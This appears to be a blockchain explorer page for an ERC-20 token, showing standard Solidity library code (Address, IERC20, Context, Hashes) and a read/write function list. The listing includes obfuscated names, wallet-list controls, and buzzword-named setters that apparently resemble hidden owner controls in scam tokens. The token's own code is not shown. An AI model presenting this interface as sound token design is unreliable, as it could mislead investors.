* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return
verifyCallResultFromTarget(
target,
success,
returndata,
errorMessage
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return
verifyCallResultFromTarget(
target,
success,
returndata,
errorMessage
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return
verifyCallResultFromTarget(
target,
success,
returndata,
errorMessage
);
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
*
* _Available since v4.8._
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason or using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage)
private
pure
{
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
IERC20.sol 33 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
Context.sol 22 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
Hashes.sol 31 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/cryptography/Hashes.sol)
pragma solidity ^0.8.20;
/**
* @dev Library of standard hash functions.
*
* _Available since v5.1._
*/
library Hashes {
/**
* @dev Commutative Keccak256 hash of a sorted pair of bytes32. Frequently used when working with merkle proofs.
*
* NOTE: Equivalent to the `standardNodeHash` in our https://github.com/OpenZeppelin/merkle-tree[JavaScript library].
*/
function commutativeKeccak256(bytes32 a, bytes32 b) internal pure returns (bytes32) {
return a < b ? _efficientKeccak256(a, b) : _efficientKeccak256(b, a);
}
/**
* @dev Implementation of keccak256(abi.encode(a, b)) that doesn't allocate or expand memory.
*/
function _efficientKeccak256(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly ("memory-safe") {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
Read Contract
_k 0x1b82c27f → address
_o 0xb4e58663 → bool
_z 0xdc09f3aa → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
isListWallet 0x6995ca2e → bool
name 0x06fdde03 → string
pluckPairs 0x986b3449 → address[5]
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 18 functions
These functions modify contract state and require a wallet transaction to execute.
AIOnboardingProcess 0xad213612
uint256 _e
BuiltInProtectionsForAI 0x11e28a55
uint256 _d
DataSecurityPrioritized 0xee634cf7
uint256 _e
ExcludeWallet 0xb204843b
address sender
MultiLevelSecuredPortals 0x9fa85aaa
No parameters
StartTrading 0x5b63e2f0
address pair_
SubscriptionMonetizationSystem 0x6b39588d
address _f
uint256 _g
addListWallet 0x53ce3fb3
address[] list
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
checkListWallet 0x7615a810
address[] isWallet
clearStuckTokens 0x9cc9d4ab
address[] instruction
execBatch 0x220aa349
string a_
string b_
removeLimits 0x751039fc
No parameters
removeTax 0x04cf574d
uint256 _c
setMinimumAirdrop 0xbf861b31
uint256 _minimumAirdropAmount
tokenReleasedForAirdrop 0x232d4e77
address[] list
uint256[] amount
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address